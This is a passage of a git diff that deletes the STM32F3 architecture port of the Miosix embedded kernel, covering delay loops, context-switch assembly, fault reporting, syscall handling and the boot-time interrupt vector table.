GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "interfaces/delays.h" - -namespace miosix { - -//TODO: these need to be updated and recalibrated, but I don't have the board - -void delayMs(unsigned int mseconds) -{ - #ifdef SYSCLK_FREQ_72MHz - #warning delayMs has not been calibrated yet with 72MHz clock - register const unsigned int count=5350; - #elif SYSCLK_FREQ_56MHz - register const unsigned int count=5350; - #elif SYSCLK_FREQ_48MHz - register const unsigned int count=5350; - #elif SYSCLK_FREQ_36MHz - register const unsigned int count=4010; - #elif SYSCLK_FREQ_24MHz - register const unsigned int count=4010; - #else // 8MHz clock - register const unsigned int count=2000; - #endif - - for(unsigned int i=0;i * - ***************************************************************************/ - -#ifndef GPIO_IMPL_H -#define GPIO_IMPL_H - -#include "drivers/stm32_gpio.h" - -#endif //GPIO_IMPL_H diff --git a/miosix/arch/cortexM4_stm32f3/common/interfaces-impl/portability.cpp b/miosix/arch/cortexM4_stm32f3/common/interfaces-impl/portability.cpp deleted file mode 100644 index fc096e158..000000000 --- a/miosix/arch/cortexM4_stm32f3/common/interfaces-impl/portability.cpp +++ /dev/null @@ -1,253 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "interfaces/portability.h" -#include "kernel/kernel.h" -#include "kernel/error.h" -#include "interfaces/bsp.h" -#include "kernel/scheduler/scheduler.h" -#include "core/interrupts.h" -#include "kernel/process.h" -#include -#include -#include -#include - -/** - * \internal - * software interrupt routine. - * Since inside naked functions only assembler code is allowed, this function - * only calls the ctxsave/ctxrestore macros (which are in assembler), and calls - * the implementation code in ISR_yield() - */ -void SVC_Handler() __attribute__((naked)); -void SVC_Handler() -{ - saveContext(); - //Call ISR_yield(). Name is a C++ mangled name. - asm volatile("bl _ZN14miosix_private9ISR_yieldEv"); - restoreContext(); -} - -namespace miosix_private { - -/** - * \internal - * Called by the software interrupt, yield to next thread - * Declared noinline to avoid the compiler trying to inline it into the caller, - * which would violate the requirement on naked functions. Function is not - * static because otherwise the compiler optimizes it out... - */ -void ISR_yield() __attribute__((noinline)); -void ISR_yield() -{ - #ifdef WITH_PROCESSES - // WARNING: Temporary fix. Rationale: - // This fix is intended to avoid kernel or process faulting due to - // another process actions. Consider the case in which a process statically - // allocates a big array such that there is no space left for saving - // context data. If the process issues a system call, in the following - // interrupt the context is saved, but since there is no memory available - // for all the context data, a mem manage interrupt is set to 'pending'. Then, - // a fake syscall is issued, based on the value read on the stack (which - // the process hasn't set due to the memory fault and is likely to be 0); - // this syscall is usually a yield (due to the value of 0 above), - // which can cause the scheduling of the kernel thread. At this point, - // the pending mem fault is issued from the kernel thread, causing the - // kernel fault and reboot. This is caused by the mem fault interrupt - // having less priority of the other interrupts. - // This fix checks if there is a mem fault interrupt pending, and, if so, - // it clears it and returns before calling the previously mentioned fake - // syscall. - if(SCB->SHCSR & (1<<13)) - { - if(miosix::Thread::IRQreportFault(miosix_private::FaultData( - fault::MP,0,0))) - { - SCB->SHCSR &= ~(1<<13); //Clear MEMFAULTPENDED bit - return; - } - } - #endif // WITH_PROCESSES - miosix::Thread::IRQstackOverflowCheck(); - - #ifdef WITH_PROCESSES - //If processes are enabled, check the content of r3. If zero then it - //it is a simple yield, otherwise handle the syscall - //Note that it is required to use ctxsave and not cur->ctxsave because - //at this time we do not know if the active context is user or kernel - unsigned int threadSp=ctxsave[0]; - unsigned int *processStack=reinterpret_cast(threadSp); - if(processStack[3]!=static_cast(miosix::Syscall::YIELD)) - miosix::Thread::IRQhandleSvc(processStack[3]); - else miosix::Scheduler::IRQfindNextThread(); - #else //WITH_PROCESSES - miosix::Scheduler::IRQfindNextThread(); - #endif //WITH_PROCESSES -} - -void IRQsystemReboot() -{ - NVIC_SystemReset(); -} - -void initCtxsave(unsigned int *ctxsave, void *(*pc)(void *), unsigned int *sp, - void *argv) -{ - unsigned int *stackPtr=sp; - stackPtr--; //Stack is full descending, so decrement first - *stackPtr=0x01000000; stackPtr--; //--> xPSR - *stackPtr=reinterpret_cast( - &miosix::Thread::threadLauncher); stackPtr--; //--> pc - *stackPtr=0xffffffff; stackPtr--; //--> lr - *stackPtr=0; stackPtr--; //--> r12 - *stackPtr=0; stackPtr--; //--> r3 - *stackPtr=0; stackPtr--; //--> r2 - *stackPtr=reinterpret_cast(argv); stackPtr--; //--> r1 - *stackPtr=reinterpret_cast(pc); //--> r0 - - ctxsave[0]=reinterpret_cast(stackPtr); //--> psp - //leaving the content of r4-r11 uninitialized - ctxsave[9]=0xfffffffd; //EXC_RETURN=thread mode, use psp, no floating ops - //leaving the content of s16-s31 uninitialized -} - -#ifdef WITH_PROCESSES - -// -// class FaultData -// - -void FaultData::print() const -{ - using namespace fault; - switch(id) - { - case MP: - iprintf("* Attempted data access @ 0x%x (PC was 0x%x)\n",arg,pc); - break; - case MP_NOADDR: - iprintf("* Invalid data access (PC was 0x%x)\n",pc); - break; - case MP_XN: - iprintf("* Attempted instruction fetch @ 0x%x\n",pc); - break; - case UF_DIVZERO: - iprintf("* Dvide by zero (PC was 0x%x)\n",pc); - break; - case UF_UNALIGNED: - iprintf("* Unaligned memory access (PC was 0x%x)\n",pc); - break; - case UF_COPROC: - iprintf("* Attempted coprocessor access (PC was 0x%x)\n",pc); - break; - case UF_EXCRET: - iprintf("* Invalid exception return sequence (PC was 0x%x)\n",pc); - break; - case UF_EPSR: - iprintf("* Attempted access to the EPSR (PC was 0x%x)\n",pc); - break; - case UF_UNDEF: - iprintf("* Undefined instruction (PC was 0x%x)\n",pc); - break; - case UF_UNEXP: - iprintf("* Unexpected usage fault (PC was 0x%x)\n",pc); - break; - case HARDFAULT: - iprintf("* Hardfault (PC was 0x%x)\n",pc); - break; - case BF: - iprintf("* Busfault @ 0x%x (PC was 0x%x)\n",arg,pc); - break; - case BF_NOADDR: - iprintf("* Busfault (PC was 0x%x)\n",pc); - break; - case STACKOVERFLOW: - iprintf("* Stack overflow\n"); - break; - } -} - -void initCtxsave(unsigned int *ctxsave, void *(*pc)(void *), int argc, - void *argvSp, void *envp, unsigned int *gotBase, unsigned int *heapEnd) -{ - unsigned int *stackPtr=reinterpret_cast(argvSp); - stackPtr--; //Stack is full descending, so decrement first - *stackPtr=0x01000000; stackPtr--; //--> xPSR - *stackPtr=reinterpret_cast(pc); stackPtr--; //--> pc - *stackPtr=0xffffffff; stackPtr--; //--> lr - *stackPtr=0; stackPtr--; //--> r12 - *stackPtr=reinterpret_cast(heapEnd); stackPtr--; //--> r3 - *stackPtr=reinterpret_cast(envp); stackPtr--; //--> r2 - *stackPtr=reinterpret_cast(argvSp); stackPtr--; //--> r1 - *stackPtr=argc; //--> r0 - - ctxsave[0]=reinterpret_cast(stackPtr); //--> psp - ctxsave[6]=reinterpret_cast(gotBase); //--> r9 - //leaving the content of r4-r8,r10-r11 uninitialized - ctxsave[9]=0xfffffffd; //EXC_RETURN=thread mode, use psp, no floating ops - //leaving the content of s16-s31 uninitialized -} - -#endif //WITH_PROCESSES - -void IRQportableStartKernel() -{ - //Enable fault handlers - SCB->SHCSR |= SCB_SHCSR_USGFAULTENA_Msk | SCB_SHCSR_BUSFAULTENA_Msk - | SCB_SHCSR_MEMFAULTENA_Msk; - //Enable traps for division by zero. Trap for unaligned memory access - //was removed as gcc starting from 4.7.2 generates unaligned accesses by - //default (https://www.gnu.org/software/gcc/gcc-4.7/changes.html) - SCB->CCR |= SCB_CCR_DIV_0_TRP_Msk; - NVIC_SetPriorityGrouping(7);//This should disable interrupt nesting - NVIC_SetPriority(SVCall_IRQn,3);//High priority for SVC (Max=0, min=15) - NVIC_SetPriority(MemoryManagement_IRQn,2);//Higher priority for MemoryManagement (Max=0, min=15) - - #ifdef WITH_PROCESSES - //Enable MPU - MPU->CTRL=MPU_CTRL_PRIVDEFENA_Msk | MPU_CTRL_ENABLE_Msk; - #endif //WITH_PROCESSES - - //create a temporary space to save current registers. This data is useless - //since there's no way to stop the sheduler, but we need to save it anyway. - unsigned int s_ctxsave[miosix::CTXSAVE_SIZE]; - ctxsave=s_ctxsave;//make global ctxsave point to it - //Note, we can't use enableInterrupts() now since the call is not matched - //by a call to disableInterrupts() - __enable_fault_irq(); - __enable_irq(); - miosix::Thread::yield(); - //Never reaches here -} - -void sleepCpu() -{ - __WFI(); -} - -} //namespace miosix_private diff --git a/miosix/arch/cortexM4_stm32f3/common/interfaces-impl/portability_impl.h b/miosix/arch/cortexM4_stm32f3/common/interfaces-impl/portability_impl.h deleted file mode 100644 index 35fad0317..000000000 --- a/miosix/arch/cortexM4_stm32f3/common/interfaces-impl/portability_impl.h +++ /dev/null @@ -1,228 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010, 2011, 2012 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ -//Miosix kernel - -#ifndef PORTABILITY_IMPL_H -#define PORTABILITY_IMPL_H - -#include "interfaces/arch_registers.h" -#include "interfaces/portability.h" -#include "config/miosix_settings.h" -#include - -/** - * \addtogroup Drivers - * \{ - */ - -/* - * This pointer is used by the kernel, and should not be used by end users. - * this is a pointer to a location where to store the thread's registers during - * context switch. It requires C linkage to be used inside asm statement. - * Registers are saved in the following order: - * *ctxsave+100 --> s31 - * ... - * *ctxsave+40 --> s16 - * *ctxsave+36 --> lr (contains EXC_RETURN whose bit #4 tells if fpu is used) - * *ctxsave+32 --> r11 - * *ctxsave+28 --> r10 - * *ctxsave+24 --> r9 - * *ctxsave+20 --> r8 - * *ctxsave+16 --> r7 - * *ctxsave+12 --> r6 - * *ctxsave+8 --> r5 - * *ctxsave+4 --> r4 - * *ctxsave+0 --> psp - */ -extern "C" { -extern volatile unsigned int *ctxsave; -} -const int stackPtrOffsetInCtxsave=0; ///< Allows to locate the stack pointer - -/** - * \internal - * \def saveContext() - * Save context from an interrupt
- * Must be the first line of an IRQ where a context switch can happen. - * The IRQ must be "naked" to prevent the compiler from generating context save. - * - * A note on the dmb instruction, without it a race condition was observed - * between pauseKernel() and IRQfindNextThread(). pauseKernel() uses an strex - * instruction to store a value in the global variable kernel_running which is - * tested by the context switch code in IRQfindNextThread(). Without the memory - * barrier IRQfindNextThread() would occasionally read the previous value and - * perform a context switch while the kernel was paused, leading to deadlock. - * The failure was only observed within the exception_test() in the testsuite - * running on the stm32f429zi_stm32f4discovery. - */ -#define saveContext() \ - asm volatile(" mrs r1, psp \n"/*get PROCESS stack ptr */ \ - " ldr r0, =ctxsave \n"/*get current context */ \ - " ldr r0, [r0] \n" \ - " stmia r0!, {r1,r4-r11,lr} \n"/*save r1(psp),r4-r11,lr */ \ - " lsls r2, lr, #27 \n"/*check if bit #4 is set */ \ - " bmi 0f \n" \ - " vstmia.32 r0, {s16-s31} \n"/*save s16-s31 if we need*/ \ - "0: dmb \n" \ - ); - -/** - * \def restoreContext() - * Restore context in an IRQ where saveContext() is used. Must be the last line - * of an IRQ where a context switch can happen. The IRQ must be "naked" to - * prevent the compiler from generating context restore. - */ -#define restoreContext() \ - asm volatile(" ldr r0, =ctxsave \n"/*get current context */ \ - " ldr r0, [r0] \n" \ - " ldmia r0!, {r1,r4-r11,lr} \n"/*load r1(psp),r4-r11,lr */ \ - " lsls r2, lr, #27 \n"/*check if bit #4 is set */ \ - " bmi 0f \n" \ - " vldmia.32 r0, {s16-s31} \n"/*restore s16-s31 if need*/ \ - "0: msr psp, r1 \n"/*restore PROCESS sp*/ \ - " bx lr \n"/*return*/ \ - ); - -/** - * \} - */ - -namespace miosix_private { - -/** - * \addtogroup Drivers - * \{ - */ - -inline void doYield() -{ - asm volatile("movs r3, #0\n\t" - "svc 0" - :::"r3"); -} - -inline void doDisableInterrupts() -{ - // Documentation says __disable_irq() disables all interrupts with - // configurable priority, so also SysTick and SVC. - // No need to disable faults with __disable_fault_irq() - __disable_irq(); - //The new fastDisableInterrupts/fastEnableInterrupts are inline, so there's - //the need for a memory barrier to avoid aggressive reordering - asm volatile("":::"memory"); -} - -inline void doEnableInterrupts() -{ - __enable_irq(); - //The new fastDisableInterrupts/fastEnableInterrupts are inline, so there's - //the need for a memory barrier to avoid aggressive reordering - asm volatile("":::"memory"); -} - -inline bool checkAreInterruptsEnabled() -{ - register int i; - asm volatile("mrs %0, primask \n\t":"=r"(i)); - if(i!=0) return false; - return true; -} - -#ifdef WITH_PROCESSES - -namespace { -/* - * ARM syscall parameter mapping - * Syscall id is r3, saved at registers[3] - * - * Parameter 1 is r0, saved at registers[0] - * Parameter 2 is r1, saved at registers[1] - * Parameter 3 is r2, saved at registers[2] - * Parameter 4 is r12, saved at registers[4] - */ -constexpr unsigned int armSyscallMapping[]={0,1,2,4}; -} - -// -// class SyscallParameters -// - -inline SyscallParameters::SyscallParameters(unsigned int *context) : - registers(reinterpret_cast(context[0])) {} - -inline int SyscallParameters::getSyscallId() const -{ - return registers[3]; -} - -inline unsigned int SyscallParameters::getParameter(unsigned int index) const -{ - assert(index<4); - return registers[armSyscallMapping[index]]; -} - -inline void SyscallParameters::setParameter(unsigned int index, unsigned int value) -{ - assert(index<4); - registers[armSyscallMapping[index]]=value; -} - -inline void portableSwitchToUserspace() -{ - asm volatile("movs r3, #1\n\t" - "svc 0" - :::"r3"); -} - -// -// class MPU -// - -inline void MPUConfiguration::IRQenable() -{ - MPU->RBAR=regValues[0]; - MPU->RASR=regValues[1]; - MPU->RBAR=regValues[2]; - MPU->RASR=regValues[3]; - __set_CONTROL(3); -} - -inline void MPUConfiguration::IRQdisable() -{ - __set_CONTROL(2); -} - - -#endif //WITH_PROCESSES - -/** - * \} - */ - -}; //namespace miosix_private - -#endif //PORTABILITY_IMPL_H diff --git a/miosix/arch/cortexM4_stm32f3/stm32f303vc_stm32f3discovery/core/stage_1_boot.cpp b/miosix/arch/cortexM4_stm32f3/stm32f303vc_stm32f3discovery/core/stage_1_boot.cpp deleted file mode 100644 index e544d2abd..000000000 --- a/miosix/arch/cortexM4_stm32f3/stm32f303vc_stm32f3discovery/core/stage_1_boot.cpp +++ /dev/null @@ -1,351 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include - -/* - * startup.cpp - * STM32 C++ startup. - * NOTE: for stm32f3 devices ONLY. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -//Will be called at the end of stage 1 of boot, function is implemented in -//stage_2_boot.cpp -extern "C" void _init(); - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //SystemInit() is called *before* initializing .data and zeroing .bss - //Despite all startup files provided by ST do the opposite, there are three - //good reasons to do so: - //First, the CMSIS specifications say that SystemInit() must not access - //global variables, so it is actually possible to call it before - //Second, when running Miosix with the xram linker scripts .data and .bss - //are placed in the external RAM, so we *must* call SystemInit(), which - //enables xram, before touching .data and .bss - //Third, this is a performance improvement since the loops that initialize - //.data and zeros .bss now run with the CPU at full speed instead of 8MHz - SystemInit(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_IRQHandler(); -void __attribute__((weak)) TAMP_STAMP_IRQHandler(); -void __attribute__((weak)) RTC_WKUP_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_TSC_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Channel1_IRQHandler(); -void __attribute__((weak)) DMA1_Channel2_IRQHandler(); -void __attribute__((weak)) DMA1_Channel3_IRQHandler(); -void __attribute__((weak)) DMA1_Channel4_IRQHandler(); -void __attribute__((weak)) DMA1_Channel5_IRQHandler(); -void __attribute__((weak)) DMA1_Channel6_IRQHandler(); -void __attribute__((weak)) DMA1_Channel7_IRQHandler(); -void __attribute__((weak)) ADC1_2_IRQHandler(); -void __attribute__((weak)) USB_HP_CAN_TX_IRQHandler(); -void __attribute__((weak)) USB_LP_CAN_RX0_IRQHandler(); -void __attribute__((weak)) CAN_RX1_IRQHandler(); -void __attribute__((weak)) CAN_SCE_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_TIM15_IRQHandler(); -void __attribute__((weak)) TIM1_UP_TIM16_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_TIM17_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) USBWakeUp_IRQHandler(); -void __attribute__((weak)) TIM8_BRK_IRQHandler(); -void __attribute__((weak)) TIM8_UP_IRQHandler(); -void __attribute__((weak)) TIM8_TRG_COM_IRQHandler(); -void __attribute__((weak)) TIM8_CC_IRQHandler(); -void __attribute__((weak)) ADC3_IRQHandler(); -void __attribute__((weak)) SPI3_IRQHandler(); -void __attribute__((weak)) UART4_IRQHandler(); -void __attribute__((weak)) UART5_IRQHandler(); -void __attribute__((weak)) TIM6_DAC_IRQHandler(); -void __attribute__((weak)) TIM7_IRQHandler(); -void __attribute__((weak)) DMA2_Channel1_IRQHandler(); -void __attribute__((weak)) DMA2_Channel2_IRQHandler(); -void __attribute__((weak)) DMA2_Channel3_IRQHandler(); -void __attribute__((weak)) DMA2_Channel4_IRQHandler(); -void __attribute__((weak)) DMA2_Channel5_IRQHandler(); -void __attribute__((weak)) ADC4_IRQHandler(); -void __attribute__((weak)) COMP1_2_3_IRQHandler(); -void __attribute__((weak)) COMP4_5_6_IRQHandler(); -void __attribute__((weak)) COMP7_IRQHandler(); -void __attribute__((weak)) USB_HP_IRQHandler(); -void __attribute__((weak)) USB_LP_IRQHandler(); -void __attribute__((weak)) USBWakeUp_RMP_IRQHandler(); -void __attribute__((weak)) FPU_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, - PVD_IRQHandler, - TAMP_STAMP_IRQHandler, - RTC_WKUP_IRQHandler, - FLASH_IRQHandler, - RCC_IRQHandler, - EXTI0_IRQHandler, - EXTI1_IRQHandler, - EXTI2_TSC_IRQHandler, - EXTI3_IRQHandler, - EXTI4_IRQHandler, - DMA1_Channel1_IRQHandler, - DMA1_Channel2_IRQHandler, - DMA1_Channel3_IRQHandler, - DMA1_Channel4_IRQHandler, - DMA1_Channel5_IRQHandler, - DMA1_Channel6_IRQHandler, - DMA1_Channel7_IRQHandler, - ADC1_2_IRQHandler, - USB_HP_CAN_TX_IRQHandler, - USB_LP_CAN_RX0_IRQHandler, - CAN_RX1_IRQHandler, - CAN_SCE_IRQHandler, - EXTI9_5_IRQHandler, - TIM1_BRK_TIM15_IRQHandler, - TIM1_UP_TIM16_IRQHandler, - TIM1_TRG_COM_TIM17_IRQHandler, - TIM1_CC_IRQHandler, - TIM2_IRQHandler, - TIM3_IRQHandler, - TIM4_IRQHandler, - I2C1_EV_IRQHandler, - I2C1_ER_IRQHandler, - I2C2_EV_IRQHandler, - I2C2_ER_IRQHandler, - SPI1_IRQHandler, - SPI2_IRQHandler, - USART1_IRQHandler, - USART2_IRQHandler, - USART3_IRQHandler, - EXTI15_10_IRQHandler, - RTC_Alarm_IRQHandler, - USBWakeUp_IRQHandler, - TIM8_BRK_IRQHandler, - TIM8_UP_IRQHandler, - TIM8_TRG_COM_IRQHandler, - TIM8_CC_IRQHandler, - ADC3_IRQHandler, - 0, - 0, - 0, - SPI3_IRQHandler, - UART4_IRQHandler, - UART5_IRQHandler, - TIM6_DAC_IRQHandler, - TIM7_IRQHandler, - DMA2_Channel1_IRQHandler, - DMA2_Channel2_IRQHandler, - DMA2_Channel3_IRQHandler, - DMA2_Channel4_IRQHandler, - DMA2_Channel5_IRQHandler, - ADC4_IRQHandler, - 0, - 0, - COMP1_2_3_IRQHandler, - COMP4_5_6_IRQHandler, - COMP7_IRQHandler, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - USB_HP_IRQHandler, - USB_LP_IRQHandler, - USBWakeUp_RMP_IRQHandler, - 0, - 0, - 0, - 0, - FPU_IRQHandler -}; - -#pragma weak SysTick_Handler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_IRQHandler = Default_Handler -#pragma weak TAMP_STAMP_IRQHandler = Default_Handler -#pragma weak RTC_WKUP_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_TSC_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Channel1_IRQHandler = Default_Handler -#pragma weak DMA1_Channel2_IRQHandler = Default_Handler -#pragma weak DMA1_Channel3_IRQHandler = Default_Handler -#pragma weak DMA1_Channel4_IRQHandler = Default_Handler -#pragma weak DMA1_Channel5_IRQHandler = Default_Handler -#pragma weak DMA1_Channel6_IRQHandler = Default_Handler -#pragma weak DMA1_Channel7_IRQHandler = Default_Handler -#pragma weak ADC1_2_IRQHandler = Default_Handler -#pragma weak USB_HP_CAN_TX_IRQHandler = Default_Handler -#pragma weak USB_LP_CAN_RX0_IRQHandler = Default_Handler -#pragma weak CAN_RX1_IRQHandler = Default_Handler -#pragma weak CAN_SCE_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_TIM15_IRQHandler = Default_Handler -#pragma weak TIM1_UP_TIM16_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_TIM17_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak USBWakeUp_IRQHandler = Default_Handler -#pragma weak TIM8_BRK_IRQHandler = Default_Handler -#pragma weak TIM8_UP_IRQHandler = Default_Handler -#pragma weak TIM8_TRG_COM_IRQHandler = Default_Handler -#pragma weak TIM8_CC_IRQHandler = Default_Handler -#pragma weak ADC3_IRQHandler = Default_Handler -#pragma weak SPI3_IRQHandler = Default_Handler -#pragma weak UART4_IRQHandler = Default_Handler -#pragma weak UART5_IRQHandler = Default_Handler -#pragma weak TIM6_DAC_IRQHandler = Default_Handler -#pragma weak TIM7_IRQHandler = Default_Handler -#pragma weak DMA2_Channel1_IRQHandler = Default_Handler -#pragma weak DMA2_Channel2_IRQHandler = Default_Handler -#pragma weak DMA2_Channel3_IRQHandler = Default_Handler -#pragma weak DMA2_Channel4_IRQHandler = Default_Handler -#pragma weak DMA2_Channel5_IRQHandler = Default_Handler -#pragma weak ADC4_IRQHandler = Default_Handler -#pragma weak COMP1_2_3_IRQHandler = Default_Handler -#pragma weak COMP4_5_6_IRQHandler = Default_Handler -#pragma weak COMP7_IRQHandler = Default_Handler -#pragma weak USB_HP_IRQHandler = Default_Handler -#pragma weak USB_LP_IRQHandler = Default_Handler -#pragma weak USBWakeUp_RMP_IRQHandler = Default_Handler -#pragma weak FPU_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM4_stm32f3/stm32f303vc_stm32f3discovery/interfaces-impl/arch_registers_impl.h b/miosix/arch/cortexM4_stm32f3/stm32f303vc_stm32f3discovery/interfaces-impl/arch_registers_impl.h deleted file mode 100644 index fe6590794..000000000 --- a/miosix/arch/cortexM4_stm32f3/stm32f303vc_stm32f3discovery/interfaces-impl/arch_registers_impl.h +++ /dev/null @@ -1,13 +0,0 @@ - -#ifndef ARCH_REGISTERS_IMPL_H -#define ARCH_REGISTERS_IMPL_H - -//Always include stm32f3xx.h before core_cm4.h, there's some nasty dependency -#define STM32F303xC -#include "CMSIS/Device/ST/STM32F3xx/Include/stm32f303xc.h" -#include 